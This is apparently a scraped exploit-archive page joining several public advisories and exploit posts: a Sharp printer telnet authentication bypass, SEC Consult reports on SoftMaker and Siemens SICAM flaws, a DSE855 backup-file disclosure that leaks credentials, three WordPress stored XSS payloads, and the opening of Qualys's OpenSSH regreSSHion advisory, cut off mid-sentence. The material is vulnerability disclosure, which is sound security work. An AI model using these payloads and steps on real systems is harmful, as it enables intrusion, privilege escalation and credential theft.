10.0.0.1...<br /> Connected to 10.0.0.1.<br /> Escape character is '^]'.<br /> SHARP MX-M365N Ver 01.06.00.0h.19 TELNET server.<br /> Copyright(C) 2005- SHARP CORPORATION<br /> Copyright(C) 2005- silex technology, Inc.<br /> login: admin<br /> 'admin' user needs password to login.<br /> password:<br /> Login incorrect.<br /> Connection closed by foreign host.<br /> kali%<br /><br />It is possible to send an invalid username (e.g.<br />`adminAAAAAAAAAAAAAAAA[...]`) to bypass the authentication and get<br />READ access with admin privileges:<br /><br /> kali% telnet 10.0.0.1<br /> Trying 10.0.0.1...<br /> Connected to 10.0.0.1.<br /> Escape character is '^]'.<br /> SHARP MX-M365N Ver 01.06.00.0h.19 TELNET server.<br /> Copyright(C) 2005- SHARP CORPORATION<br /> Copyright(C) 2005- silex technology, Inc.<br /> login: adminAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
<pre><code>SEC Consult Vulnerability Lab Security Advisory < 20240627-0 ><br />=======================================================================<br /> title: Local Privilege Escalation via MSI installer<br /> product: SoftMaker Office / FreeOffice<br /> vulnerable version: SoftMaker Office 2024 / NX before revision 1214<br /> FreeOffice 2021 Revision 1068<br /> FreeOffice 2024 before revision 1215<br /> fixed version: SoftMaker Office 2024 / NX - revision 1214<br /> FreeOffice 2024 - revision 1215<br /> CVE number: CVE-2023-7270<br /> impact: high<br /> homepage: https://www.softmaker.com/en/<br /> found: 2023-11-27<br /> by: Michael Baer (Office Fürth)<br /> SEC Consult Vulnerability Lab<br /><br /> An integrated part of SEC Consult, an Eviden business<br /> Europe | Asia<br /><br /> https://www.sec-consult.com<br /><br />=======================================================================<br /><br />Vendor description:<br />-------------------<br />"SoftMaker Office makes working with documents, spreadsheets and presentations<br />a breeze – whether you're on Windows, Linux, Mac, iOS or Android."<br /><br />Source: https://www.softmaker.com/en/products/softmaker-office<br /><br /><br />Business recommendation:<br />------------------------<br />The vendor provides a patch which should be installed immediately.<br /><br />SEC Consult highly recommends to perform a thorough security review of the<br />product conducted by security professionals to identify and resolve potential<br />further security issues.<br /><br /><br />Vulnerability overview/description:<br />-----------------------------------<br />1) Local Privilege Escalation via MSI installer (CVE-2023-7270)<br />The SoftMaker Office and FreeOffice MSI installer files were found to produce<br />a visible conhost.exe window running as the SYSTEM user when using the repair<br />function of msiexec.exe.<br /><br />This allows a local, low-privileged attacker to use a chain of actions,<br />to open a fully functional cmd.exe with the privileges of the SYSTEM user.<br /><br />Note:<br />This attack does not work using a recent version of the Edge Browser or<br />Internet Explorer. A different browser, such as Chrome or Firefox, needs to be<br />used. Also make sure, that Edge or IE have not been set as default browser<br />and that Firefox or Chrome are not running before attempting to exploit it.<br />Otherwise, the spawned process would be running with your own permissions and<br />the installer will just add a new tab to the browser, instead of spawning a<br />new process with SYSTEM.<br /><br /><br />Proof of concept:<br />-----------------<br />1) Local Privilege Escalation via MSI installer (CVE-2023-7270)<br />For the exploit to work, SoftMaker Office or FreeOffice have to be installed<br />via the MSI file. Afterwards, any low-privileged user can start the<br />repair of the software by double-clicking the installer and trigger<br />the vulnerable actions without a UAC popup. The installer, if deleted from it's<br />original location, can be found in C:\Windows\Installer with a randomized name.<br /><br />During the repair process, a console application gets called with SYSTEM<br />privileges and performs a read action on some files.<br /><br />SoftMaker Office: Executes 7z.exe, which reads<br />C:\Program Files\SoftMaker Office 2024\tb\7z.exe<br /><br />FreeOffice: Executes syspin.exe, which reads<br />C:\Windows\SysWOW64\OneCoreCommonProxyStub.dll<br /><br />This can be used by an attacker by simply setting an oplock on the files<br />mentioned before.<br /><br />As soon as it gets read, the process is blocked until the lock is released.<br /><br />To do that, one can use the 'SetOpLock.exe' tool from<br />"https://github.com/googleprojectzero/symboliclink-testing-tools"<br />with the following parameters:<br /><br />while ($true) { SetOpLock.exe "C:\Program Files\SoftMaker Office 2024\tb\7z.exe" x }<br />while ($true) { SetOpLock.exe "C:\Windows\SysWOW64\OneCoreCommonProxyStub.dll" x }<br /><br />See figure 1 [soft_lock.png] and figure 2 [lock.png]<br /><br />During the repair process, the locked file is accessed multiple times. The lock<br />has to be released by pressing ENTER several times before the window opens.<br /><br />If the window appears, the lock should not be released to keep the<br />window open. The window that gets opened when the console program is<br />executed doesn't close and can then be interacted with.<br /><br />Note 1: The syspin.exe window is minimized. When the lock is triggered, it<br />is advised to check the taskbar whether a window with a blue arrow,<br />see figure 7 [taskbar.png], exists.<br /><br />The attacker can then perform the following actions to spawn a SYSTEM shell:<br />- Right click on the top bar of the window<br />- Click on properties, see figure 3 [soft_openbrowser.png] and figure 4 [openbrowser.png]<br />- Under options, click on the "new console features" link<br />- Open the link with e.g. firefox<br />- In the opened browser window press the key combination CTRL+o<br />- Type cmd.exe in the top bar and press Enter, see figure 5 [soft_cmd.png] and figure 6 [cmd.png]<br /><br />Note 2: This does not work using a recent version of the Edge Browser.<br /><br />Note 3: The program syspin.exe is invoked several times, sometimes without<br />elevated privileges. If the final cmd.exe is not elevated, release the lock<br />and wait for the next syspin.exe invocation. During our test, the fifth<br />window was run with elevated privileges.<br /><br /><br />Vulnerable / tested versions:<br />-----------------------------<br />The following versions have been tested by SEC Consult which were the most recent<br />versions available at the time of the test:<br />* SoftMaker Office 2024 - 24.0.6034<br />* FreeOffice 2021 Revision 1068<br /><br />According to the vendor, all versions of SoftMaker Office NX/2024 before revision 1214<br />and FreeOffice 2024 before revision 1215 with the MSI installer are affected.<br /><br />FreeOffice 2021 is unsupported and will not be fixed according to the vendor.<br /><br /><br />Vendor contact timeline:<br />------------------------<br />2023-12-02: Contacting vendor through sales@softmaker.de,<br /> asking for security contact.<br />2023-12-07: Contacting vendor through https://www.softmaker.com/en/support/customer-support<br /> asking for security contact.<br />2024-01-11: Contacting vendor through https://www.softmaker.com/en/support/customer-support<br /> asking for security contact.<br />2024-01-11: Vendor provides security contact and asks for advisory<br /> unencrypted<br />2024-01-12: Sending advisory draft unencrypted to security contact<br />2024-02-17: Asking for status of vulnerability, no response<br />2024-03-06: Asking for status of vulnerability, no response<br />2024-04-08: Asking for a status update, setting release date to<br /> 17th April.<br />2024-04-08: Vendor response, seems not to have received our previous mails.<br /> Asking for deadline extension as a release it already planned.<br />2024-04-09: Sending advisory draft again, extending deadline.<br />2024-04-11: Asking whether email was received, confirmed. Sent proposed<br /> solution.<br />2024-04-22: Asking when new release is planned and whether fixes could be<br /> incorporated.<br />2024-04-23: Vendor response, current service pack update not including fixes,<br /> planned in about 6 weeks.<br />2024-05-27: Vendor response, service pack / revision 1214 was published which fixes<br /> the issue for Office 2024 and Office NX. FreeOffice 2024 will<br /> be fixed in the next release mid June. FreeOffice 2021 is unsupported.<br />2024-06-11: Vendor: FreeOffice 2024 will be patched on 18th June, asks for advisory<br /> release to be postponed a bit.<br />2024-06-17: Setting advisory release date for 27th June, reserving CVE.<br />2024-06-18: Vendor releases FreeOffice 2024 revision 1215.<br />2024-06-27: Release of security advisory.<br /><br /><br />Solution:<br />---------<br />The vendor provides a service pack version 1214 for SoftMaker Office 2024 and<br />SofMaker Office NX, which can be downloaded from:<br />https://softmaker.de/download/servicepacks<br /><br />FreeOffice 2024 revision 1215:<br />https://www.freeoffice.com/de/download/servicepacks<br /><br />FreeOffice 2021 is unsupported and will not be fixed according to the vendor.<br /><br /><br />Workaround:<br />-----------<br />None<br /><br /><br />Advisory URL:<br />-------------<br />https://sec-consult.com/vulnerability-lab/<br /><br /><br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br /><br />SEC Consult Vulnerability Lab<br />An integrated part of SEC Consult, an Eviden business<br />Europe | Asia<br /><br />About SEC Consult Vulnerability Lab<br />The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an<br />Eviden business. It ensures the continued knowledge gain of SEC Consult in the<br />field of network and application security to stay ahead of the attacker. The<br />SEC Consult Vulnerability Lab supports high-quality penetration testing and<br />the evaluation of new offensive and defensive technologies for our customers.<br />Hence our customers obtain the most current information about vulnerabilities<br />and valid recommendation about the risk profile of new technologies.<br /><br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />Interested to work with the experts of SEC Consult?<br />Send us your application https://sec-consult.com/career/<br /><br />Interested in improving your cyber security with the experts of SEC Consult?<br />Contact our local offices https://sec-consult.com/contact/<br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br /><br />Mail: security-research at sec-consult dot com<br />Web: https://www.sec-consult.com<br />Blog: https://blog.sec-consult.com<br />Twitter: https://twitter.com/sec_consult<br /><br />EOF Michael Baer / 2024<br /></code></pre>
<pre><code># Exploit Title: Wordpress Photo Gallery Version 1.8.26 Stored XSS<br /># Date: 2024-07-03<br /># Exploit Author: tmrswrr<br /># Category : Webapps<br /># Vendor Homepage: https://10web.io/plugins/wordpress-photo-gallery/<br /># Version 1.8.26<br /><br /><br />### Steps to Execute the Payload:<br /><br />1. Click Photo Gallery > Themes > Edit Themes > https://127.0.0.1/wp-admin/admin.php?page=themes_bwg&task=edit&current_id=2 <br />2. Write Distance between pictures place your payload**: `"onmouseover="alert(1)"style="position:absolute;width:100%;height:100%;top:0;left:0;"qq9r3`<br />3. Click Update<br />4. You will see the payload executed <br /><br /><br /><br /><br /></code></pre>
<pre><code>SEC Consult Vulnerability Lab Security Advisory < 20240626-0 ><br />=======================================================================<br /> title: Multiple Vulnerabilities in Power Automation Products<br /> product: Siemens CP-8000/CP-8021/CP8-022/CP-8031/CP-8050/SICORE<br /> vulnerable version: CPC80 < V16.41 / CPCI85 < V5.30 / OPUPI0 < V5.30 / SICORE < V1.3.0 /<br /> CPCX26 < V06.02 for CP-2016 and PCCX26 < V06.05 for CP-2019 in SICAM AK3 /<br /> ETA4 < V10.46 and ETA5 < V03.27 for SM-2558 ins SICAM AK3, SICAM BC and SICAM TM<br /> fixed version: CPC80 V16.41 / CPCI85 V5.30 / OPUPI V5.30 / SICORE V1.3.0 / CPCX26 V06.02 /<br /> PCCX26 V06.05 / ETA4 V10.46 / ETA5 V03.27<br /> CVE number: CVE-2024-31484, CVE-2024-31485, CVE-2024-31486<br /> impact: high<br /> homepage: https://www.siemens.com/global/en/products/energy/energy-automation-and-smart-grid.html<br /> found: 2023-04-03 and 2024-01-12<br /> by: Stefan Viehboeck (Office Vienna)<br /> Steffen Robertz (Office Vienna)<br /> Gerhard Hechenberger (Office Vienna)<br /> Constantin Schieber-Knoebl (Office Vienna)<br /> SEC Consult Vulnerability Lab<br /><br /> An integrated part of SEC Consult, an Eviden business<br /> Europe | Asia<br /><br /> https://www.sec-consult.com<br /><br />=======================================================================<br /><br />Vendor description:<br />-------------------<br />"We are a technology company focused on industry, infrastructure,<br />transport, and healthcare. From more resource-efficient factories,<br />resilient supply chains, and smarter buildings and grids, to cleaner<br />and more comfortable transportation as well as advanced healthcare,<br />we create technology with purpose adding real value for customers."<br /><br />Source: https://new.siemens.com/global/en/company/about.html<br /><br />Business recommendation:<br />------------------------<br />The vendor provides a patch which should be installed immediately.<br /><br />SEC Consult highly recommends to perform a thorough security review of the product<br />conducted by security professionals to identify and resolve potential further<br />security issues.<br /><br /><br />Vulnerability overview/description:<br />-----------------------------------<br />1) Buffer Overread (Only CP-8000/CP-8021/CP-8022/CP-8031/CP-8050/CPCX26/PCCX26/ETA4/ETA5, CVE-2024-31484)<br />The webserver running on the CP-8050 and CP-8031 is vulnerable to a buffer overread<br />vulnerability.<br /><br />The value of the HTTP header "Session-ID" is processed and used in a "strncpy" call<br />without proper termination. Thus, data structures from the BSS segment will be<br />leaked in the response. Attackers might be able to read sensitive data from memory.<br /><br /><br />2) Privilege Escalation (Only CP-8031/CP-8050 and SICORE devices, CVE-2024-31485)<br />An attacker with an account with the viewer (or higher) role can intercept unencrypted<br />traffic of other users of the web interface. Thus, the attacker can intercept higher<br />privileged user accounts and passwords and might gain access to their accounts to<br />perform tasks with elevated privileges.<br /><br /><br />3) Unsafe Storage of MQTT Client Passwords (Only CP-8031/CP-8050, CVE-2024-31486)<br />A PLC with the OPUPI0 MQTT application installed is able to connect to<br />an MQTT server. The configured MQTT password for the server is stored<br />in cleartext on the device and can be read by exploiting a potential<br />code execution or file disclosure vulnerability or with physical access<br />to the device.<br /><br /><br />Proof of concept:<br />-----------------<br />1) Buffer Overread (Only CP-8000/CP-8021/CP-8022/CP-8031/CP-8050/CPCX26/PCCX26/ETA4/ETA5, CVE-2024-31484)<br />The buffer overread can be triggered by sending a "Session-ID" in the HTTP request header<br />with exactly 20 bytes. This can be done with e.g. this request:<br /><br />POST /SICAM_TOOLBOX_1703_remote_connection_00.htm HTTP/1.1<br />User-Agent: SICAM TOOLBOX II<br />Version: 1<br />Session-ID: 3814280BA9921c6cAAAA<br />Sequence-ID: 1<br />Content-Length: 8<br />Content-Type: text/plain<br />KeepAlive: 5<br />Connection: close<br />type=3<br /><br />The server answers with following response:<br /><br />HTTP/1.1 200 OK<br />Server: SICAM 1703<br />Version: 1<br />Session-ID: 3814280BA9921c6cAAAAæk¤<br />Cache-Control: max-age=0, private<br />X-Frame-Options: sameorigin<br />Strict-Transport-Security: max-age=31536000; includeSubdomains<br />Content-Security-Policy: default-src 'self' data: blob: 'unsafe-inline' 'unsafe-eval'<br />X-XSS-Protection: 1; mode=block<br />X-Permitted-Cross-Domain-Policies: none<br />Content-Length: 71<br />Connection: close<br />Date: Wed, 30 Mar 2022 01:38:37 GMT<br /><br />Sequence-ID: 1<br />Content-Type: text/plain<br />Content-Length: 8<br /><br />type=4<br /><br /><br />The Session-ID in the response leaks at least 4 additional bytes. Further,<br />the structure of the response is broken, as some HTTP headers are suddenly part<br />of the body.<br /><br />The vulnerability most likely stems from a misuse of the strncpy function.<br />The following code segment was analyzed (RTUM85.elf, Offset 0x1d50de):<br /><br />ptr_fcgi_header = get_fcgi_param(fcgi_struct, "HTTP_SESSION_ID);<br />if (ptr_fcgi_header == (char*) 0x00) goto LAB_001d4a66;<br />if ( is_a_session_available == 0 ) {<br /> strncpy(&session_id, ptr_fcgi_header, 0x14);<br />}<br /><br />strncpy is called with a length parameter of 0x14. To trigger the vulnerability,<br />we are sending exactly 0x14 bytes. Thus, we believe that the global session_id<br />variable is never properly terminated with a Null-pointer.<br /><br />libc's documentation even contains a warning for this case:<br />"If there is no null byte among the first n bytes of src, the string<br />placed in dest will not be null-terminated."<br /><br />Thus, if the response is built, every data structure in BSS following the<br />session_id global will be printed as string until a Null byte is encountered.<br /><br /><br />2) Privilege Escalation (Only CP-8031/CP-8050 and SICORE devices, CVE-2024-31485)<br />An attacker with an account with the viewer (or higher) role can intercept unencrypted<br />traffic of other users of the web interface. Thus, the attacker can intercept higher<br />privileged user accounts and passwords.<br /><br />By starting the Ethernet Packet Capture (Home -> Monitoring & Simulation -> Ethernet<br />Packet Capture), a request is sent. This request can be modified by an interceptor<br />proxy (e.g. Burp Suite).<br /><br />POST /sicweb-ajax/rtum85/cview HTTP/1.1<br />Host: HOST<br />User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0<br />Accept: */*<br />Accept-Language: en-US,en;q=0.5<br />Accept-Encoding: gzip, deflate<br />Content-Type: application/xml<br />SICWEB-SID: xNG1v825qFmCMo8hpjfISlVARKipW1B+lz9d5FoBxipR87VT<br />Content-Length: 198<br />Origin: http:// HOST<br />Connection: close<br />Referer: http:// HOST/<br /><br /><?xml version="1.0" encoding="UTF-8"?><br /><Cmd_SetCustomViewValue><view id="packet_capture"><parameter id="p0"><br /><value>lo</value><br /></parameter></view></Cmd_SetCustomViewValue><br /><br /><br />The attacker can then send the parameter id p0 to the value "lo" and start the<br />packet capture in order to dump from the loopback interface. It is a valid<br />interface, as it only consist of lowercase characters and numbers (fix<br />for CVE-2023-33919).<br /><br />However, the webserver implements TLS in a stunnel fashion. It accepts all<br />TLS traffic on port 443, then decrypts it and forwards it via loopback interface<br />to port 80. By being able to read the loopback traffic, an attacker can now<br />see all communication, including passwords of higher privileged users.<br /><br /><br />3) Unsafe Storage of MQTT Passwords (Only CP-8031/CP-8050, CVE-2024-31486)<br />To demonstrate the issue, the following parameters were set for the MQTT client<br />using the Siemens Toolbox II:<br />* "8 MQTT password" mqtt_pw_sectest<br />* "9 MQTT username" mqtt_sectest<br /><br />The password (together with the username) can be located in the<br />/ies/data/local/system/iescfg.iar file on the device, which can be<br />retrieved by shell access/code execution on the device or by desoldering<br />and reading its unencrypted flash memory chip:<br />-----------------------------------------------------------------------<br />grep -rain "mqtt_pw_sectest" /ies/data/local/system/iescfg.iar<br />[...]<br />mqtt<br />mqtt_sectest.<br />mqtt_pw_sectest.<br />< �MQTT_Broker<br />[...]<br />-----------------------------------------------------------------------<br /><br /><br />Vulnerable / tested versions:<br />-----------------------------<br />The following version has been tested which was the latest version available<br />at the time of the test:<br /><br />Vulnerability 1 and 2 were confirmed on Siemens SICAM A8000 CP-8031 V05.12<br />Vulnerability 3 was confirmed on Siemens A8000 CP-8050 V04.92<br /><br /><br />Vendor contact timeline:<br />------------------------<br />2023-04-18: Contacting vendor through productcert@siemens.com for vulnerability 3<br />2023-04-19: Advisory will be handled as case #92461.<br />2023-06-13: Siemens releases advisory for other vulnerabilities, see https://sec-consult.com/vulnerability-lab/advisory/multiple-vulnerabilities-siemens-a8000/<br />2023-10-09: Requesting status update<br />2024-04-03: Requesting status update.<br />2024-04-04: Unsafe Storage of MQTT password: fix will be released in April 2024,<br /> Siemens advisory scheduled for May 2024<br />2024-04-11: Contacting vendor through productcert@siemens.com for Vulnerability 1 and 2<br />2024-04-12: Siemens assigned case #68662 for Vulnerability 1,2<br />2024-05-14: Siemens publishes SSA-871704 for vulnerability 1,2,3<br />2024-06-11: Siemens publishes SSA-620338 for Vulnerability 1<br />2024-06-26: Public release of advisory<br /><br /><br />Solution:<br />---------<br />The vendor provides a patch which can be downloaded at the following URLs<br />depending on the affected device:<br /><br />CPC80 Central Processing/Communication: The firmware CPC80 V16.41 is present within “CP-8000/CP-8021/CP-8022 Package” V16.41<br />https://support.industry.siemens.com/cs/ww/en/view/109812178/<br /><br />CPCI85 Central Processing/Communication: The firmware CPCI85 V5.30 is present within "CP-8031/CP-8050 Package" V5.30<br />https://support.industry.siemens.com/cs/ww/en/view/109804985/<br /><br />SICORE Base system: The firmware SICORE V1.3.0 is present within "SICAM 8 Software Solution Package" V5.30<br />https://support.industry.siemens.com/cs/ww/en/view/109818240/<br /><br />OPUPI0 AMQP/MQTT: The firmware OPUPI0 V5.30 is present within "CP-8031/CP-8050 Package" V5.30<br />https://support.industry.siemens.com/cs/ww/en/view/109804985/<br /><br />CPCX26 Central Processing/Communication: The firmware CPCX26 V06.02 is present within “SICAM RTUs AK3 Package” V06.02<br />https://support.industry.siemens.com/cs/ww/en/view/109813252/<br /><br />PCCX26 Ax 1703 PE, Contr, Communication Element: The firmware PCCX26 V06.05 is present within “SICAM RTUs AK3 Package” V06.02<br />https://support.industry.siemens.com/cs/ww/en/view/109813252/<br /><br />ETA4 Ethernet Interface IEC60870-5-104: The firmware ETA4 V10.46 is present within “SICAM RTUs AK3 Package” V06.02<br />https://support.industry.siemens.com/cs/ww/en/view/109813252/<br /><br />ETA5 Ethernet Int. 1x100TX IEC61850 Ed.2: The firmware ETA5 V03.27 is present within “SICAM RTUs AK3 Package” V06.02<br />https://support.industry.siemens.com/cs/ww/en/view/109813252/<br /><br />Additional information from the vendor can be found in their advisories:<br />https://cert-portal.siemens.com/productcert/html/ssa-871704.html<br />https://cert-portal.siemens.com/productcert/html/ssa-620338.html<br /><br /><br />Workaround:<br />-----------<br />Limit network and physical access to the PLC.<br /><br /><br />Advisory URL:<br />-------------<br />https://sec-consult.com/vulnerability-lab/<br /><br /><br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br /><br />SEC Consult Vulnerability Lab<br />An integrated part of SEC Consult, an Eviden business<br />Europe | Asia<br /><br />About SEC Consult Vulnerability Lab<br />The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an<br />Eviden business. It ensures the continued knowledge gain of SEC Consult in the<br />field of network and application security to stay ahead of the attacker. The<br />SEC Consult Vulnerability Lab supports high-quality penetration testing and<br />the evaluation of new offensive and defensive technologies for our customers.<br />Hence our customers obtain the most current information about vulnerabilities<br />and valid recommendation about the risk profile of new technologies.<br /><br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />Interested to work with the experts of SEC Consult?<br />Send us your application https://sec-consult.com/career/<br /><br />Interested in improving your cyber security with the experts of SEC Consult?<br />Contact our local offices https://sec-consult.com/contact/<br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br /><br />Mail: security-research at sec-consult dot com<br />Web: https://www.sec-consult.com<br />Blog: https://blog.sec-consult.com<br />Twitter: https://twitter.com/sec_consult<br /><br />EOF Stefan Viehboeck, Steffen Robertz, Gerhard Hechenberger, Constantin Schieber-Knoebl / @2024<br /></code></pre>
<pre><code><br />Deep Sea Electronics DSE855 Remote Authentication Bypass<br /><br /><br />Vendor: Deep Sea Electronics plc<br />Product web page: https://www.deepseaelectronics.com<br />Affected version: Model: DSE855<br /> Software version: 1.0.26<br /> Module version: 1.0.78<br /> Bootloader version: 1.0.3<br /> Firmware version: 1.1.0<br /><br />Summary: The DSE855 communications device allows monitoring of a single<br />DSE controller with USB connectivity over a LAN or WAN connection. To achieve<br />this the DSE855 utilises its in-built web server or MODBUS TCP. In order<br />to use over a LAN connection the on-site router must be configured to be<br />accessible from any global location.<br /><br />Desc: The device is vulnerable to configuration disclosure when direct object<br />reference is made to the Backup.bin file using an HTTP GET request. This will<br />enable an attacker to disclose sensitive information and help her in authentication<br />bypass, privilege escalation and full system access.<br /><br />Tested on: embOS/IP<br /><br /><br />Vulnerability discovered by Gjoko 'LiquidWorm' Krstic<br /> @zeroscience<br /><br /><br />Advisory ID: ZSL-2024-5825<br />Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5825.php<br />ZDI ID: ZDI-24-671<br />ZDI CAN: ZDI-CAN-22679<br />ZDI URL: https://www.zerodayinitiative.com/advisories/ZDI-24-671/<br />ZDI Title: (0Day) Deep Sea Electronics DSE855 Configuration Backup Missing Authentication Information Disclosure Vulnerability<br />CVE ID: CVE-2024-5947<br />CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-5947<br /><br /><br />10.11.2023<br /><br />--<br /><br /><br />$ curl -s -O http://target/Backup.bin<br />$ strings Backup.bin<br /><br />DSEB<br />Admin<br />Password1234<br />Tech<br />Password1234<br />thricer<br />scada<br />rd1234<br />lokna<br />xela123<br />DSE855<br /></code></pre>
<pre><code># Exploit Title: FooGallery version : 2.4.16 Stored XSS<br /># Date: 2024-07-02<br /># Exploit Author: tmrswrr<br /># Category : Webapps<br /># Vendor Homepage: https://wordpress.org/plugins/foogallery/<br /># Version 2.4.16<br /><br /><br />### Steps to Execute the Payload:<br /><br />1. **Click Add New Gallery**: [Add New Gallery](https://127.0.0.1/wp-admin/post-new.php?post_type=foogallery)<br />2. **Write Add Title your payload**: `"><sVg/onLy=1 onLoaD=confirm(1)//`<br />3. **Click Publish**, then click **Create Gallery Page**.<br />4. **Verify Execution**: You will see the payload executed in the usage field.<br /></code></pre>
<pre><code># Exploit Title: Wordpress Gallery Version 2.3.6 Stored XSS<br /># Date: 2024-07-01<br /># Exploit Author: tmrswrr<br /># Category : Webapps<br /># Vendor Homepage: https://total-soft.com/wp-video-gallery/<br /># Version 2.3.6<br /><br /><br />### Steps to Execute the Payload:<br /><br />1. **Access the Admin Panel:**<br /> - Navigate to the admin panel of your WordPress site.<br /> - Go to `TS Video Gallery > `Create ` > ` Use Theme` via the following URL: <br /> ```<br /> https://127.0.0.1/wp-admin/admin.php?page=tsvg-builder&tsvg-theme=grid_video_gallery<br /> ```<br /><br />2. **Insert the Payload:**<br /> - In the **Click New Video** section, **Write Add Title insert the following payload:<br /> ```<br /> "><img src=x onerrora=confirm() onerror=confirm(document.cookie)><br /> ```<br /><br />3. **Save and Verify:**<br /> - You should see the payload executed.<br /></code></pre>
<pre><code><br />Qualys Security Advisory<br /><br />regreSSHion: RCE in OpenSSH's server, on glibc-based Linux systems<br />(CVE-2024-6387)<br /><br /><br />========================================================================<br />Contents<br />========================================================================<br /><br />Summary<br />SSH-2.0-OpenSSH_3.4p1 Debian 1:3.4p1-1.woody.3 (Debian 3.0r6, from 2005)<br />- Theory<br />- Practice<br />- Timing<br />SSH-2.0-OpenSSH_4.2p1 Debian-7ubuntu3 (Ubuntu 6.06.1, from 2006)<br />- Theory, take one<br />- Theory, take two<br />- Practice<br />- Timing<br />SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u2 (Debian 12.5.0, from 2024)<br />- Theory<br />- Practice<br />- Timing<br />Towards an amd64 exploit<br />Patches and mitigation<br />Acknowledgments<br />Timeline<br /><br /><br />========================================================================<br />Summary<br />========================================================================<br /><br /> All it takes is a leap of faith<br /> -- The Interrupters, "Leap of Faith"<br /><br />Preliminary note: OpenSSH is one of the most secure software in the<br />world; this vulnerability is one slip-up in an otherwise near-flawless<br />implementation. Its defense-in-depth design and code are a model and an<br />inspiration, and we thank OpenSSH's developers for their exemplary work.<br /><br />We discovered a vulnerability (a signal handler race condition) in<br />OpenSSH's server (sshd): if a client does not authenticate within<br />LoginGraceTime seconds (120 by default, 600 in old OpenSSH versions),<br />then sshd's SIGALRM handler is called asynchronously, but this signal<br />handler calls various functions that are not async-signal-safe (for<br />example, syslog()). This race condition affects sshd in its default<br />configuration.<br /><br />On investigation, we realized that this vulnerability is in fact a<br />regression of CVE-2006-5051 ("Signal handler race condition in OpenSSH<br />before 4.4 allows remote attackers to cause a denial of service (crash),<br />and possibly execute arbitrary code"), which was reported in 2006 by<br />Mark Dowd.<br /><br />This regression was introduced in October 2020 (OpenSSH 8.5p1) by commit<br />752250c ("revised log infrastructure for OpenSSH"), which accidentally<br />removed an "#ifdef DO_LOG_SAFE_IN_SIGHAND" from sigdie(), a function<br />that is directly called by sshd's SIGALRM handler. In other words:<br /><br />- OpenSSH < 4.4p1 is vulnerable to this signal handler race condition,<br /> if not backport-patched against CVE-2006-5051, or not patched against<br /> CVE-2008-4109, which was an incorrect fix for CVE-2006-5051;<br /><br />- 4.4p1 <= OpenSSH < 8.5p1 is not vulnerable to this signal handler race<br /> condition (because the "#ifdef DO_LOG_SAFE_IN_SIGHAND" that was added<br /> to sigdie() by the patch for CVE-2006-5051 transformed this unsafe<br /> function into a safe _exit(1) call);<br /><br />- 8.5p1 <= OpenSSH < 9.8p1 is vulnerable again to this signal handler<br /> race condition (because the "#ifdef DO_LOG_SAFE_IN_SIGHAND" was<br /> accidentally removed from sigdie()).<br /><br />This vulnerability is exploitable remotely on glibc-based Linux systems,<br />where syslog() itself calls async-signal-unsafe functions (for example,<br />malloc() and free()): an unauthenticated remote code execution as root,<br />because it affects sshd's privileged code, which is not sandboxed and<br />runs with full privileges. We have not investigated any other libc or<br />operating system; but OpenBSD is notably not vulnerable, because its<br />SIGALRM handler calls syslog_r(), an async-signal-safer version of<br />syslog() that was invented by OpenBSD in 2001.<br /><br />To exploit this vulnerability remotely (to the best of our knowledge,<br />CVE-2006-5051 has never been successfully exploited before), we drew<br />inspiration from a visionary paper, "Delivering Signals for Fun and<br />Profit", which was published in 2001 by Michal Zalewski:<br /><br /> https://lcamtuf.coredump.cx/signals.txt<br /><br />Nevertheless, we immediately faced three major problems:<br /><br />- From a theoretical point of view, we must find a useful code path<br /> that, if interrupted at the right time by SIGALRM, leaves sshd in an<br /> inconsistent state, and we must then exploit this inconsistent state<br /> inside the SIGALRM handler.<br /><br />- From a practical point of view, we must find a way to reach this<br /> useful code path in sshd, and maximize our chances of interrupting it<br /> at the right time.<br /><br />- From a timing point of view, we must find a way to further increase<br /> our chances of interrupting this useful code path at the right time,<br /> remotely.<br /><br />To focus on these three problems without having to immediately fight<br />against all the modern operating system protections (in particular, ASLR<br />and NX), we decided to exploit old OpenSSH versions first, on i386, and<br />then, based on this experience, recent versions:<br /><br />- First, "SSH-2.0-OpenSSH_3.4p1 Debian 1:3.4p1-1.woody.3", from<br /> "debian-30r6-dvd-i386-binary-1_NONUS.iso": this is the first Debian<br /> version that has privilege separation enabled by default and that is<br /> patched against all the critical vulnerabilities of that era (in<br /> particular, CVE-2003-0693 and CVE-2002-0640).<br /><br /> To remotely exploit this version, we interrupt a call to free() with<br /> SIGALRM (inside sshd's public-key parsing code), leave the heap in an<br /> inconsistent state, and exploit this inconsistent state during another<br /> call to free(), inside the SIGALRM handler.<br /><br /> In our experiments, it takes ~10,000 tries on average to win this race<br /> condition; i.e., with 10 connections (MaxStartups) accepted per 600<br /> seconds (LoginGraceTime), it takes ~1 week on average to obtain a<br /> remote root shell.<br /><br />- Second, "SSH-2.0-OpenSSH_4.2p1 Debian-7ubuntu3", from<br /> "ubuntu-6.06.1-server-i386.iso": this is the last Ubuntu version that<br /> is still vulnerable to CVE-2006-5051 ("Signal handler race condition<br /> in OpenSSH before 4.4").<br /><br /> To remotely exploit this version, we interrupt a call to 